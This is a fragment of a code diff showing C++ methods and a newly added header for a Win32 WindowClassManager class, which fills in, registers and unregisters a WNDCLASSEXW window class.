WNDCLASSEXW WindowClassManager::CreateWindowClass(WNDPROC wndProc) const
{
WNDCLASSEXW wc = {};
InitializeWindowClassDefaults(wc);
wc.lpfnWndProc = wndProc;
return wc;
}
bool WindowClassManager::RegisterWindowClass(const WNDCLASSEXW& wc)
{
ATOM result = RegisterClassExW(&wc);
if (result == 0)
return false;
SetRegistered(true);
return true;
}
bool WindowClassManager::UnregisterWindowClass()
{
BOOL result = UnregisterClassW(mClassName.c_str(), mhInstance);
if (!result)
return false;
SetRegistered(false);
return true;
}
void WindowClassManager::SetRegistered(bool registered)
{
mIsRegistered = registered;
}
WNDCLASSEXW WindowClassManager::BuildWindowClassStruct(WNDPROC wndProc) const
{
WNDCLASSEXW wc = {};
wc.cbSize = sizeof(WNDCLASSEXW);
wc.lpfnWndProc = wndProc;
wc.hInstance = mhInstance;
wc.lpszClassName = mClassName.c_str();
return wc;
}
void WindowClassManager::InitializeWindowClassDefaults(WNDCLASSEXW& wc) const
{
wc.cbSize = sizeof(WNDCLASSEXW);
wc.lpfnWndProc = nullptr;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = mhInstance;
wc.hIcon = nullptr;
wc.hCursor = nullptr;
wc.hbrBackground = nullptr;
wc.lpszMenuName = nullptr;
wc.lpszClassName = mClassName.c_str();
wc.hIconSm = nullptr;
}
+32
View File
@@ -0,0 +1,32 @@
#pragma once
#include <Windows.h>
#include <string>
class WindowClassManager
{
public:
WindowClassManager(const std::wstring& className);
~WindowClassManager();
bool Register(WNDPROC wndProc);
bool Unregister();
bool IsRegistered() const;
std::wstring GetWindowClassName() const;
HINSTANCE GetInstance() const;
WNDCLASSEXW CreateWindowClass(WNDPROC wndProc) const;
private:
bool RegisterWindowClass(const WNDCLASSEXW& wc);
bool UnregisterWindowClass();
void SetRegistered(bool registered);
WNDCLASSEXW BuildWindowClassStruct(WNDPROC wndProc) const;
void InitializeWindowClassDefaults(WNDCLASSEXW& wc) const;
std::wstring mClassName;
HINSTANCE mhInstance;
bool mIsRegistered;
};